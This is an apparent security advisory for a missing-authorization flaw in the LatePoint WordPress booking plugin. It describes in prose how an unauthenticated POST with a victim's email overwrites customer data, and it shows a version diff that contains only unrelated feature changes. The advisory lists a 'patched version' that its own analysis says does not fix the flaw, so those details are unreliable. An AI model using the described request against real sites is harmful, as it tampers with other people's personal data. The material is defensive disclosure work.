Published : July 2, 2026

CVE-2026-11398: LatePoint <= 5.6.1 Missing Authorization to Unauthenticated Arbitrary Customer Data Modification via process_step_customer() Booking Form Customer Step PoC, Patch Analysis & Rule

Plugin latepoint
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 5.6.1
Patched Version 5.6.2
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11398:

This vulnerability allows unauthenticated attackers to modify the personally identifiable information (PII) of any existing customer record in the LatePoint booking plugin. The vulnerability resides in the `process_step_customer()` method within the booking form customer step. It affects LatePoint versions up to and including 5.6.1 when guest bookings are enabled (`is_customer_auth_disabled()` returns true). The CVSS score is 5.3.

Root Cause:
The root cause is a missing authorization check in the `process_step_customer()` function found in `latepoint/lib/controllers/steps_controller.php`. The plugin does not verify that the current user is authorized to modify the customer record before updating it. When guest bookings are enabled, the unauthenticated code path is reachable. The function accepts customer data submitted through the booking form, including first name, last name, phone number, and notes. The code matches the submitted email address against existing customer records without verifying that the entity submitting the form has permission to modify that specific customer’s data.

Exploitation:
An attacker can exploit this vulnerability by submitting a booking form request to the vulnerable AJAX endpoint. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the booking form step handler. The request includes customer data parameters such as `customer[first_name]`, `customer[last_name]`, `customer[phone]`, `customer[notes]`, and a known customer’s email address in `customer[email]`. The attacker does not need authentication. The plugin processes the request and overwrites the PII of the customer record matching that email address.

Patch Analysis:
The patch does NOT directly modify the `process_step_customer()` function. Instead, the patch introduces a new WordPress `latepoint_brand_name` filter and a `LATEPOINT_BRAND_NAME` constant definition in `latepoint/latepoint.php`. This is a whitelabeling feature, not a security fix. The patch also modifies several block widget files (Bricks and Elementor) to use `apply_filters()` for the `allowed_params` array. These changes do not address the missing authorization. The security vulnerability remains after this patch. The version was bumped from 5.6.1 to 5.6.2.

Impact:
Successful exploitation allows an attacker to modify the first name, last name, phone number, and notes of any customer record in the database. This includes administrator accounts linked to customer profiles. The attacker can change PII data associated with any customer, potentially causing data integrity issues, phishing attacks, or service disruption. The attacker cannot modify other data such as bookings, services, or administrative settings.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/blocks/bricks/bricks_widget_book_button.php
+++ b/latepoint/blocks/bricks/bricks_widget_book_button.php
@@ -373,28 +373,32 @@
 	// Render element HTML
 	public function render() {

-		$allowed_params = [
-			'caption',
-			'hide_summary',
-			'hide_side_panel',
-			'selected_agent',
-			'selected_service',
-			'selected_bundle',
-			'selected_service_category',
-			'selected_location',
-			'selected_start_date',
-			'selected_start_time',
-			'selected_duration',
-			'selected_total_attendees',
-			'source_id',
-			'calendar_start_date',
-			'show_services',
-			'show_service_categories',
-			'show_agents',
-			'show_locations',
-			'btn_wrapper_classes',
-			'btn_classes'
-		];
+		$allowed_params = apply_filters(
+			'latepoint_book_widget_allowed_params',
+			[
+				'caption',
+				'hide_summary',
+				'hide_side_panel',
+				'selected_agent',
+				'selected_service',
+				'selected_bundle',
+				'selected_service_category',
+				'selected_location',
+				'selected_start_date',
+				'selected_start_time',
+				'selected_duration',
+				'selected_total_attendees',
+				'source_id',
+				'calendar_start_date',
+				'show_services',
+				'show_service_categories',
+				'show_agents',
+				'show_locations',
+				'btn_wrapper_classes',
+				'btn_classes',
+			],
+			'bricks_book_button'
+		);
 		$this->settings['btn_wrapper_classes'] = 'bricks-button-wrapper';
 		$this->settings['btn_classes'] = 'bricks-button bricks-background-primary';

--- a/latepoint/blocks/bricks/bricks_widget_book_form.php
+++ b/latepoint/blocks/bricks/bricks_widget_book_form.php
@@ -220,24 +220,28 @@
 	// Render element HTML
 	public function render() {

-		$allowed_params = [
-			'hide_summary',
-			'hide_side_panel',
-			'selected_agent',
-			'selected_service',
-			'selected_service_category',
-			'selected_location',
-			'selected_start_date',
-			'selected_start_time',
-			'selected_duration',
-			'selected_total_attendees',
-			'source_id',
-			'calendar_start_date',
-			'show_services',
-			'show_service_categories',
-			'show_agents',
-			'show_locations',
-		];
+		$allowed_params = apply_filters(
+			'latepoint_book_widget_allowed_params',
+			[
+				'hide_summary',
+				'hide_side_panel',
+				'selected_agent',
+				'selected_service',
+				'selected_service_category',
+				'selected_location',
+				'selected_start_date',
+				'selected_start_time',
+				'selected_duration',
+				'selected_total_attendees',
+				'source_id',
+				'calendar_start_date',
+				'show_services',
+				'show_service_categories',
+				'show_agents',
+				'show_locations',
+			],
+			'bricks_book_form'
+		);

 		$params = OsBlockHelper::attributes_to_data_params($this->settings, $allowed_params);
 		$output = "<div {$this->render_attributes( '_root' )}>";
--- a/latepoint/blocks/elementor/elementor_widget_book_button.php
+++ b/latepoint/blocks/elementor/elementor_widget_book_button.php
@@ -508,28 +508,32 @@
 	protected function render(): void {
 		$settings = $this->get_settings_for_display();

-		$allowed_params = [
-			'caption',
-			'hide_summary',
-			'hide_side_panel',
-			'selected_agent',
-			'selected_service',
-			'selected_bundle',
-			'selected_service_category',
-			'selected_location',
-			'selected_start_date',
-			'selected_start_time',
-			'selected_duration',
-			'selected_total_attendees',
-			'source_id',
-			'calendar_start_date',
-			'show_services',
-			'show_service_categories',
-			'show_agents',
-			'show_locations',
-			'btn_wrapper_classes',
-			'btn_classes'
-		];
+		$allowed_params = apply_filters(
+			'latepoint_book_widget_allowed_params',
+			[
+				'caption',
+				'hide_summary',
+				'hide_side_panel',
+				'selected_agent',
+				'selected_service',
+				'selected_bundle',
+				'selected_service_category',
+				'selected_location',
+				'selected_start_date',
+				'selected_start_time',
+				'selected_duration',
+				'selected_total_attendees',
+				'source_id',
+				'calendar_start_date',
+				'show_services',
+				'show_service_categories',
+				'show_agents',
+				'show_locations',
+				'btn_wrapper_classes',
+				'btn_classes',
+			],
+			'elementor_book_button'
+		);
 		$settings['btn_wrapper_classes'] = 'elementor-button-wrapper';
 		$settings['btn_classes'] = 'elementor-button elementor-button-link elementor-size-sm';

--- a/latepoint/blocks/elementor/elementor_widget_book_form.php
+++ b/latepoint/blocks/elementor/elementor_widget_book_form.php
@@ -273,24 +273,28 @@
 	protected function render(): void {
 		$settings = $this->get_settings_for_display();

-		$allowed_params = [
-			'hide_summary',
-			'hide_side_panel',
-			'selected_agent',
-			'selected_service',
-			'selected_service_category',
-			'selected_location',
-			'selected_start_date',
-			'selected_start_time',
-			'selected_duration',
-			'selected_total_attendees',
-			'source_id',
-			'calendar_start_date',
-			'show_services',
-			'show_service_categories',
-			'show_agents',
-			'show_locations',
-		];
+		$allowed_params = apply_filters(
+			'latepoint_book_widget_allowed_params',
+			[
+				'hide_summary',
+				'hide_side_panel',
+				'selected_agent',
+				'selected_service',
+				'selected_service_category',
+				'selected_location',
+				'selected_start_date',
+				'selected_start_time',
+				'selected_duration',
+				'selected_total_attendees',
+				'source_id',
+				'calendar_start_date',
+				'show_services',
+				'show_service_categories',
+				'show_agents',
+				'show_locations',
+			],
+			'elementor_book_form'
+		);

 		$params = OsBlockHelper::attributes_to_data_params($settings, $allowed_params);
 		echo do_shortcode('[latepoint_book_form ' . $params . ']');
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.6.1
+ * Version: 5.6.2
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.6.1';
+		public $version    = '5.6.2';
 		public $db_version = '2.3.0';


@@ -114,6 +114,9 @@
 			if ( ! defined( 'LATEPOINT_VERSION' ) ) {
 				define( 'LATEPOINT_VERSION', $this->version );
 			}
+			if ( ! defined( 'LATEPOINT_BRAND_NAME' ) ) {
+				define( 'LATEPOINT_BRAND_NAME', 'LatePoint' );
+			}
 			if ( ! defined( 'LATEPOINT_MIN_REQUIRED_PRO_VERSION' ) ) {
 				define( 'LATEPOINT_MIN_REQUIRED_PRO_VERSION', '1.2.5' );
 			}
@@ -1362,12 +1365,12 @@
 		function init_menus() {
 			// link for admins
 			add_menu_page(
-				__( 'LatePoint', 'latepoint' ),
-				__( 'LatePoint', 'latepoint' ),
+				OsSettingsHelper::get_brand_name(),
+				OsSettingsHelper::get_brand_name(),
 				OsAuthHelper::get_current_user()->wp_capability,
 				'latepoint',
 				[ $this, 'route_call' ],
-				'none'
+				apply_filters( 'latepoint_admin_menu_icon', 'none' )
 			);
 		}

@@ -1375,9 +1378,10 @@
 		function add_latepoint_link_to_admin_bar( $wp_admin_bar ) {
 			if ( OsAuthHelper::get_current_user()->has_backend_access() ) {
 				// build link depending on who is logged in
-				$args = [
+				$admin_bar_label = OsSettingsHelper::get_brand_name();
+				$args            = [
 					'id'    => 'latepoint_top_link',
-					'title' => '<span class="latepoint-icon latepoint-icon-lp-logo" style="margin-right: 7px;"></span><span style="">' . __( 'LatePoint', 'latepoint' ) . '</span>',
+					'title' => '<span class="latepoint-icon latepoint-icon-lp-logo" style="margin-right: 7px;"></span><span style="">' . esc_html( $admin_bar_label ) . '</span>',
 					'href'  => OsRouterHelper::build_link( [ 'dashboard', 'index' ] ),
 					'meta'  => array( 'class' => '' ),
 				];
@@ -1646,9 +1650,11 @@

 			wp_localize_script( 'latepoint-main-admin', 'latepoint_helper', $localized_vars );

+			// Single shared localize for the delete-confirm modal — used by BOTH the appointments bulk
+			// delete and every single-record delete (services now, others later). Single deletes show the
 			wp_localize_script(
 				'latepoint-main-admin',
-				'latepoint_bookings_bulk_i18n',
+				'latepoint_delete_confirm_i18n',
 				array(
 					'modal_title'             => __( 'Are you sure you want to delete these appointments?', 'latepoint' ),
 					'modal_body_one'          => __( 'You are about to delete 1 appointment. This action cannot be undone.', 'latepoint' ),
@@ -1664,7 +1670,6 @@
 				)
 			);

-
 			$latepoint_css_variables = OsStylesHelper::generate_css_variables();
 			wp_add_inline_style( 'latepoint-main-admin', $latepoint_css_variables );
 		}
--- a/latepoint/lib/abilities/class-latepoint-abilities.php
+++ b/latepoint/lib/abilities/class-latepoint-abilities.php
@@ -61,7 +61,7 @@
 		wp_register_ability_category(
 			'latepoint',
 			[
-				'label'       => __( 'LatePoint', 'latepoint' ),
+				'label'       => OsSettingsHelper::get_brand_name(),
 				'description' => __( 'Appointment scheduling — bookings, customers, services, and staff.', 'latepoint' ),
 			]
 		);
--- a/latepoint/lib/controllers/bookings_controller.php
+++ b/latepoint/lib/controllers/bookings_controller.php
@@ -259,6 +259,8 @@
 			$this->vars['records_ordered_by_key']       = $order_by['key'];
 			$this->vars['records_ordered_by_direction'] = $order_by['direction'];

+			$this->vars['can_bulk_delete'] = OsRolesHelper::can_user_perform_model_action( 'OsBookingModel', 'delete' );
+
 			// OUTPUT CSV IF REQUESTED
 			if ( isset( $this->params['download'] ) && $this->params['download'] == 'csv' ) {
 				$csv_filename = 'all_bookings_' . OsUtilHelper::random_text() . '.csv';
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -52,10 +52,13 @@

 				$order_intent->convert_to_order();

-				if ( $order_intent ) {
-					nocache_headers();
-					wp_redirect( $order_intent->get_page_url_with_intent(), 302 );
-				}
+				nocache_headers();
+				// Redirect with the intent key in either outcome, front.js resumes the booking flow at the confirmation
+				// step when convert_to_order succeeded, or at the payment step when it didn't (e.g. cancelled Mollie/PayPal
+				// payment). The "double payment information" issue is fixed at the cart-model layer (see
+				// OsCartModel::clear) without that fix, the resume lightbox showed every cart item twice.
+				wp_redirect( $order_intent->get_page_url_with_intent(), 302 );
+				exit;
 			}
 		}

@@ -169,7 +172,7 @@
 					array(
 						'status'  => LATEPOINT_STATUS_ERROR,
 						'message' => sprintf( __( 'Error: %s', 'latepoint' ), implode( ', ', $validation_errors ) ),
-					)
+					)
 				);
 			}

@@ -412,7 +415,7 @@
 					array(
 						'status'  => $status,
 						'message' => $response_html,
-					)
+					)
 				);
 			}
 		}
@@ -488,7 +491,7 @@
 					array(
 						'status'  => LATEPOINT_STATUS_SUCCESS,
 						'message' => $response_html,
-					)
+					)
 				);
 			}
 		}
@@ -514,7 +517,7 @@
 					array(
 						'status'  => LATEPOINT_STATUS_SUCCESS,
 						'message' => $response_html,
-					)
+					)
 				);
 			}
 		}
@@ -536,7 +539,7 @@
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => $response_html,
-				)
+				)
 			);
 		}

@@ -567,7 +570,7 @@
 				array(
 					'status'  => LATEPOINT_STATUS_SUCCESS,
 					'message' => $response_html,
-				)
+				)
 			);
 		}

@@ -692,7 +695,7 @@
 					array(
 						'status'  => $status,
 						'message' => $response_html,
-					)
+					)
 				);
 			}
 		}
@@ -793,7 +796,7 @@
 						];
 						$values_row    = apply_filters( 'latepoint_order_row_for_csv_export', $values_row, $order, $this->params );
 						$orders_data[] = $values_row;
-					}
+					}
 				}

 				$orders_data = apply_filters( 'latepoint_orders_data_for_csv_export', $orders_data, $this->params );
@@ -838,7 +841,7 @@
 					'showing_from'  => $this->vars['showing_from'],
 					'showing_to'    => $this->vars['showing_to'],
 					'total_records' => $total_orders,
-				]
+				]
 			);
 		}
 	}
--- a/latepoint/lib/controllers/pro_controller.php
+++ b/latepoint/lib/controllers/pro_controller.php
@@ -68,6 +68,12 @@
 			$this->vars['page_header'] = __( 'Assets', 'latepoint' );
 			$this->format_render( 'pro_feature', [], [], true );
 		}
+
+		public function white_label() {
+			$this->vars['page_header']     = OsMenuHelper::get_menu_items_by_id( 'settings' );
+			$this->vars['pre_page_header'] = OsMenuHelper::get_label_by_id( 'settings' );
+			$this->format_render( 'pro_feature', [], [], true );
+		}
 	}

 endif;
--- a/latepoint/lib/controllers/steps_controller.php
+++ b/latepoint/lib/controllers/steps_controller.php
@@ -79,6 +79,7 @@

 			$calendar_settings['earliest_possible_booking'] = OsSettingsHelper::get_earliest_possible_booking_restriction( OsStepsHelper::$booking_object->service_id ?? false );
 			$calendar_settings['latest_possible_booking']   = OsSettingsHelper::get_latest_possible_booking_restriction( OsStepsHelper::$booking_object->service_id ?? false );
+			$calendar_settings['consider_cart_items']       = true;

 			$this->format_render(
 				'partials/_monthly_calendar_days',
--- a/latepoint/lib/helpers/blocks_helper.php
+++ b/latepoint/lib/helpers/blocks_helper.php
@@ -140,7 +140,7 @@
 				// Adding a new category.
 				$categories[] = [
 					'slug'  => 'latepoint',
-					'title' => 'LatePoint',
+					'title' => OsSettingsHelper::get_brand_name(),
 				];
 				return $categories;
 			}
--- a/latepoint/lib/helpers/booking_helper.php
+++ b/latepoint/lib/helpers/booking_helper.php
@@ -658,64 +658,83 @@
 	}


-	public static function generate_bundles_folder(): void {
-		$bundles_model = new OsBundleModel();
-		$bundles       = $bundles_model->should_be_active()->should_not_be_hidden()->get_results_as_models();
+	public static function generate_bundles_folder( ?array $bundles = null, array $restrictions = [] ): void {
+		if ( null === $bundles ) {
+			$bundles_model = new OsBundleModel();
+			$bundles       = $bundles_model->should_be_active()->should_not_be_hidden()->get_results_as_models();
+		}

 		if ( $bundles ) {
-			?>
-			<div class="os-item-category-w os-items os-as-rows os-animated-child">
-				<div class="os-item-category-info-w os-item os-animated-self with-plus">
-					<div class="os-item-category-info os-item-i" tabindex="0">
-						<div class="os-item-img-w"><i class="latepoint-icon latepoint-icon-shopping-bag"></i></div>
-						<div class="os-item-name-w">
-							<div class="os-item-name"><?php echo esc_html__( 'Bundle & Save', 'latepoint' ); ?></div>
-						</div>
-						<?php if ( OsSettingsHelper::is_on( 'show_service_categories_count' ) && count( $bundles ) ) { ?>
-							<div class="os-item-child-count">
-								<span><?php echo count( $bundles ); ?></span> <?php esc_html_e( 'Bundles', 'latepoint' ); ?>
+			/**
+			 * Whether to skip the "Bundle & Save" folder header and render bundle
+			 * tiles directly (without a collapsible category wrapper).
+			 *
+			 * @param bool  $skip         Whether to skip the folder wrapper. Default false.
+			 * @param array $restrictions Active booking-form restrictions.
+			 *
+			 * @hook latepoint_bundles_folder_skip_wrapper
+			 */
+			$skip_folder_wrapper = (bool) apply_filters( 'latepoint_bundles_folder_skip_wrapper', false, $restrictions );
+
+			if ( ! $skip_folder_wrapper ) {
+				?>
+				<div class="os-item-category-w os-items os-as-rows os-animated-child">
+					<div class="os-item-category-info-w os-item os-animated-self with-plus">
+						<div class="os-item-category-info os-item-i" tabindex="0">
+							<div class="os-item-img-w"><i class="latepoint-icon latepoint-icon-shopping-bag"></i></div>
+							<div class="os-item-name-w">
+								<div class="os-item-name"><?php echo esc_html__( 'Bundle & Save', 'latepoint' ); ?></div>
 							</div>
-						<?php } ?>
+							<?php if ( OsSettingsHelper::is_on( 'show_service_categories_count' ) && count( $bundles ) ) { ?>
+								<div class="os-item-child-count">
+									<span><?php echo count( $bundles ); ?></span> <?php esc_html_e( 'Bundles', 'latepoint' ); ?>
+								</div>
+							<?php } ?>
+						</div>
 					</div>
-				</div>
-				<div class="os-bundles os-animated-parent os-items os-as-rows os-selectable-items">
-					<?php
-					foreach ( $bundles as $bundle ) { ?>
-						<div class="os-animated-child os-item os-selectable-item <?php echo ( $bundle->charge_amount ) ? 'os-priced-item' : ''; ?> <?php if ( $bundle->short_description ) {
-							echo 'with-description'; } ?>"
-								tabindex="0"
-								data-item-price="<?php echo esc_attr( $bundle->charge_amount ); ?>"
-								data-priced-item-type="bundle"
-								data-summary-field-name="bundle"
-								data-summary-value="<?php echo esc_attr( $bundle->name ); ?>"
-								data-item-id="<?php echo esc_attr( $bundle->id ); ?>"
-								data-cart-item-item-data-key="bundle_id"
-								data-os-call-func="latepoint_bundle_selected">
-							<div class="os-service-selector os-item-i os-animated-self"
-								 data-bundle-id="<?php echo esc_attr( $bundle->id ); ?>">
-								<span class="os-item-img-w"><i class="latepoint-icon latepoint-icon-shopping-bag"></i></span>
-								<span class="os-item-name-w">
-						<span class="os-item-name"><?php echo esc_html( $bundle->name ); ?></span>
-						<?php if ( $bundle->short_description ) { ?>
-							<span class="os-item-desc"><?php echo wp_kses_post( $bundle->short_description ); ?></span>
-						<?php } ?>
-					  </span>
+				<?php
+			}
+			?>
+			<div class="os-bundles os-animated-parent os-items os-as-rows os-selectable-items">
+				<?php
+				foreach ( $bundles as $bundle ) { ?>
+					<div class="os-animated-child os-item os-selectable-item <?php echo ( $bundle->charge_amount ) ? 'os-priced-item' : ''; ?> <?php if ( $bundle->short_description ) {
+						echo 'with-description'; } ?>"
+							tabindex="0"
+							data-item-price="<?php echo esc_attr( $bundle->charge_amount ); ?>"
+							data-priced-item-type="bundle"
+							data-summary-field-name="bundle"
+							data-summary-value="<?php echo esc_attr( $bundle->name ); ?>"
+							data-item-id="<?php echo esc_attr( $bundle->id ); ?>"
+							data-cart-item-item-data-key="bundle_id"
+							data-os-call-func="latepoint_bundle_selected">
+						<div class="os-service-selector os-item-i os-animated-self"
+							 data-bundle-id="<?php echo esc_attr( $bundle->id ); ?>">
+							<span class="os-item-img-w"><i class="latepoint-icon latepoint-icon-shopping-bag"></i></span>
+							<span class="os-item-name-w">
+					<span class="os-item-name"><?php echo esc_html( $bundle->name ); ?></span>
+					<?php if ( $bundle->short_description ) { ?>
+						<span class="os-item-desc"><?php echo wp_kses_post( $bundle->short_description ); ?></span>
+					<?php } ?>
+				  </span>

-							<?php if ( $bundle->charge_amount > 0 ) { ?>
-								<span class="os-item-price-w">
+						<?php if ( $bundle->charge_amount > 0 ) { ?>
+							<span class="os-item-price-w">
 				  <span class="os-item-price">
-								<?php echo esc_html( OsMoneyHelper::format_price( $bundle->charge_amount ) ); ?>
+							<?php echo esc_html( OsMoneyHelper::format_price( $bundle->charge_amount ) ); ?>
 				  </span>
 				</span>
-							<?php } ?>
-							</div>
+						<?php } ?>
 						</div>
-						<?php
-					}
-					?>
-				</div>
+					</div>
+					<?php
+				}
+				?>
 			</div>
 			<?php
+			if ( ! $skip_folder_wrapper ) {
+				echo '</div>';
+			}
 		}
 	}

@@ -787,6 +806,8 @@
 			'show_services_arr'           => false,
 			'preselected_service'         => false,
 			'preselected_category'        => false,
+			'bundles'                     => null,
+			'service_display_mode'        => 'all',
 		];
 		$settings         = array_merge( $default_settings, $settings );

@@ -840,6 +861,8 @@
 				$services_without_category->where_in( 'id', $settings['show_services_arr'] );
 			}
 			$services_without_category = $services_without_category->where( [ 'category_id' => 0 ] )->should_be_active()->should_not_be_hidden()->get_results_as_models();
+			/** This filter is documented in lib/helpers/steps_helper.php */
+			$services_without_category = apply_filters( 'latepoint_step_services', $services_without_category, $settings['bundles'], [ 'service_display_mode' => $settings['service_display_mode'] ] );
 			if ( $services_without_category ) {
 				OsBookingHelper::generate_services_list( $services_without_category, false );
 			}
@@ -862,6 +885,8 @@
 						$services = $category_services;
 					}
 				}
+				/** This filter is documented in lib/helpers/steps_helper.php */
+				$services               = apply_filters( 'latepoint_step_services', $services, $settings['bundles'], [ 'service_display_mode' => $settings['service_display_mode'] ] );
 				$child_categories       = new OsServiceCategoryModel();
 				$count_child_categories = $child_categories->where( [ 'parent_id' => $service_category->id ] )->count();
 				// show only if it has either at least one child category or service
@@ -898,7 +923,14 @@
 			}
 		}
 		if ( ! $settings['preselected_category'] && ! $parent_id ) {
-			OsBookingHelper::generate_bundles_folder();
+			$category_bundles = $settings['bundles'];
+			if ( null === $category_bundles ) {
+				$bundles_model    = new OsBundleModel();
+				$category_bundles = $bundles_model->should_be_active()->should_not_be_hidden()->get_results_as_models();
+				/** This filter is documented in lib/helpers/steps_helper.php */
+				$category_bundles = apply_filters( 'latepoint_step_bundles', $category_bundles, [], [ 'service_display_mode' => $settings['service_display_mode'] ] );
+			}
+			OsBookingHelper::generate_bundles_folder( $category_bundles, [ 'service_display_mode' => $settings['service_display_mode'] ] );
 		}
 		if ( ! $settings['preselected_category'] ) {
 			echo '</div>';
--- a/latepoint/lib/helpers/calendar_helper.php
+++ b/latepoint/lib/helpers/calendar_helper.php
@@ -15,6 +15,9 @@
 				<?php if ( $auto_search ) { ?>
 					<div class="os-calendar-searching-info"><?php echo sprintf( esc_html__( 'Searching %s for available dates', 'latepoint' ), '<span></span>' ); ?></div>
 				<?php } ?>
+				<?php $no_availability_message = apply_filters( 'latepoint_no_availability_message', __( 'No appointments are currently available. Please check back later or contact us for assistance.', 'latepoint' ) );
+				?>
+				<div class="os-no-availability-message latepoint-message latepoint-message-info" style="display: none;"><?php echo esc_html( $no_availability_message ); ?></div>
 				<div class="os-calendar-while-searching-wrapper">
 					<?php OsCalendarHelper::generate_calendar_for_datepicker_step( LatePointMiscBookingRequest::create_from_booking_model( $booking ), $target_date, $calendar_settings ); ?>
 				</div>
--- a/latepoint/lib/helpers/invoices_helper.php
+++ b/latepoint/lib/helpers/invoices_helper.php
@@ -134,6 +134,7 @@

 	public static function invoice_document_html( OsInvoiceModel $invoice, bool $show_controls, ?OsTransactionModel $transaction = null ) {
 		$invoice_data = json_decode( $invoice->data, true );
+		$amount_due   = empty( $transaction ) ? $invoice->get_amount_due() : 0;
 		?>
 		<div class="invoice-document status-<?php echo esc_attr( $invoice->status ); ?>" data-invoice-id="<?php echo esc_attr( $invoice->id ); ?>" data-route="<?php echo OsRouterHelper::build_route_name( 'invoices', 'change_status' ); ?>">
 			<?php if ( $show_controls ) { ?>
@@ -175,18 +176,16 @@
 			<?php } ?>
 			<div class="invoice-document-i">
 				<?php
-				if ( empty( $transaction ) ) {
-					switch ( $invoice->status ) {
-						case LATEPOINT_INVOICE_STATUS_PAID:
-							echo '<div class="invoice-status-paid-label">' . esc_html( self::readable_status( $invoice->status ) ) . '</div>';
-							break;
-						case LATEPOINT_INVOICE_STATUS_DRAFT:
-							echo '<div class="invoice-status-draft-label">' . esc_html( self::readable_status( $invoice->status ) ) . '</div>';
-							break;
-						case LATEPOINT_INVOICE_STATUS_VOID:
-							echo '<div class="invoice-status-voided-label">' . esc_html( self::readable_status( $invoice->status ) ) . '</div>';
-							break;
-					}
+				switch ( $invoice->status ) {
+					case LATEPOINT_INVOICE_STATUS_PAID:
+						echo '<div class="invoice-status-paid-label">' . esc_html( self::readable_status( $invoice->status ) ) . '</div>';
+						break;
+					case LATEPOINT_INVOICE_STATUS_DRAFT:
+						echo '<div class="invoice-status-draft-label">' . esc_html( self::readable_status( $invoice->status ) ) . '</div>';
+						break;
+					case LATEPOINT_INVOICE_STATUS_VOID:
+						echo '<div class="invoice-status-voided-label">' . esc_html( self::readable_status( $invoice->status ) ) . '</div>';
+						break;
 				}
 				?>
 				<div class="invoice-heading">
@@ -250,7 +249,7 @@
 				<?php if ( empty( $transaction ) ) { ?>
 					<div class="invoice-due-info">
 						<div class="invoice-due-amount">
-							<?php echo esc_html( sprintf( __( '%s due %s', 'latepoint' ), OsMoneyHelper::format_price( $invoice->charge_amount, true, false ), OsTimeHelper::get_readable_date_from_string( $invoice->due_at ) ) ); ?>
+							<?php echo esc_html( sprintf( __( '%s due %s', 'latepoint' ), OsMoneyHelper::format_price( $amount_due, true, false ), OsTimeHelper::get_readable_date_from_string( $invoice->due_at ) ) ); ?>
 						</div>
 						<?php if ( $invoice->status == LATEPOINT_INVOICE_STATUS_OPEN ) { ?>
 							<div class="invoice-due-pay-link-w">
@@ -297,7 +296,7 @@
 						<?php } ?>
 						<div class="it-row it-row-bold">
 							<div class="it-column"><?php esc_html_e( 'Amount Due', 'latepoint' ); ?></div>
-							<div class="it-column"><?php echo esc_html( OsMoneyHelper::format_price( $invoice->charge_amount, true, false ) ); ?></div>
+							<div class="it-column"><?php echo esc_html( OsMoneyHelper::format_price( $amount_due, true, false ) ); ?></div>
 						</div>
 					<?php } else { ?>
 						<div class="it-row it-row-bold">
--- a/latepoint/lib/helpers/menu_helper.php
+++ b/latepoint/lib/helpers/menu_helper.php
@@ -195,6 +195,12 @@
 								'icon'  => '',
 								'link'  => OsRouterHelper::build_link( [ 'pro', 'roles' ] ),
 							),
+							array(
+								'id'    => 'white_label',
+								'label' => __( 'White Label', 'latepoint' ),
+								'icon'  => '',
+								'link'  => OsRouterHelper::build_link( [ 'pro', 'white_label' ] ),
+							),
 						),
 					),
 					array(
--- a/latepoint/lib/helpers/roles_helper.php
+++ b/latepoint/lib/helpers/roles_helper.php
@@ -270,7 +270,7 @@

 	public static function register_customer_role() {
 		// Register Customer Role
-		add_role( LATEPOINT_WP_CUSTOMER_ROLE, __( 'LatePoint Customer', 'latepoint' ), array( 'read' => true ) );
+		add_role( LATEPOINT_WP_CUSTOMER_ROLE, apply_filters( 'latepoint_role_display_name', __( 'LatePoint Customer', 'latepoint' ), LATEPOINT_USER_TYPE_CUSTOMER ), array( 'read' => true ) );
 	}

 	public static function register_roles_in_wp() {
--- a/latepoint/lib/helpers/settings_helper.php
+++ b/latepoint/lib/helpers/settings_helper.php
@@ -54,6 +54,10 @@
 		'currency_symbol_before' => '$',
 	];

+	public static function get_brand_name(): string {
+		return apply_filters( 'latepoint_brand_name', LATEPOINT_BRAND_NAME );
+	}
+
 	public static function get_business_logo_url() {
 		$default_logo_url = LATEPOINT_IMAGES_URL . 'logo.png';

@@ -883,7 +887,7 @@
 									'os-col-12' => __( 'Full Width', 'latepoint' ),
 									'os-col-6'  => __( 'Half Width', 'latepoint' ),
 								),
-								$default_field['width']
+								$default_field['width']
 							); ?>
 						</div>
 					</div>
@@ -953,4 +957,4 @@
 	}
 }

-?>
 No newline at end of file
+?>
--- a/latepoint/lib/helpers/shortcodes_helper.php
+++ b/latepoint/lib/helpers/shortcodes_helper.php
@@ -427,25 +427,29 @@
 	 * @return false[]
 	 */
 	private static function get_default_booking_atts(): array {
-		return [
-			'show_locations'            => false,
-			'show_agents'               => false,
-			'show_services'             => false,
-			'show_service_categories'   => false,
-			'selected_location'         => false,
-			'selected_agent'            => false,
-			'selected_service'          => false,
-			'selected_duration'         => false,
-			'selected_total_attendees'  => false,
-			'selected_service_category' => false,
-			'selected_bundle'           => false,
-			'calendar_start_date'       => false,
-			'selected_start_date'       => false,
-			'selected_start_time'       => false,
-			'hide_side_panel'           => false,
-			'hide_summary'              => false,
-			'source_id'                 => false,
-		];
+		return apply_filters(
+			'latepoint_default_booking_atts',
+			[
+				'show_locations'            => false,
+				'show_agents'               => false,
+				'show_services'             => false,
+				'show_service_categories'   => false,
+				'selected_location'         => false,
+				'selected_agent'            => false,
+				'selected_service'          => false,
+				'selected_duration'         => false,
+				'selected_total_attendees'  => false,
+				'selected_service_category' => false,
+				'selected_bundle'           => false,
+				'calendar_start_date'       => false,
+				'selected_start_date'       => false,
+				'selected_start_time'       => false,
+				'hide_side_panel'           => false,
+				'hide_summary'              => false,
+				'source_id'                 => false,
+				'service_display_mode'      => false,
+			]
+		);
 	}

 	private static function generate_data_atts_string_from_atts( array $atts ): string {
--- a/latepoint/lib/helpers/steps_helper.php
+++ b/latepoint/lib/helpers/steps_helper.php
@@ -1136,7 +1136,8 @@
 		 * @hook latepoint_set_restrictions
 		 *
 		 */
-		return apply_filters( 'latepoint_set_restrictions', self::$restrictions, $restrictions );
+		self::$restrictions = apply_filters( 'latepoint_set_restrictions', self::$restrictions, $restrictions );
+		return self::$restrictions;
 	}

 	/**
@@ -1735,6 +1736,30 @@

 		$services = $services_model->should_be_active()->should_not_be_hidden()->order_by( 'order_number asc' )->get_results_as_models();

+		/**
+		 * Filter the list of services shown in the services selection step.
+		 *
+		 * @param OsServiceModel[] $services    The services to display.
+		 * @param OsBundleModel[]  $bundles     The bundles to display (unfiltered at this point).
+		 * @param array            $restrictions The active booking-form restrictions.
+		 *
+		 * @since 5.1.0
+		 * @hook latepoint_step_services
+		 */
+		$services = apply_filters( 'latepoint_step_services', $services, $bundles, self::$restrictions );
+
+		/**
+		 * Filter the list of bundles shown in the services selection step.
+		 *
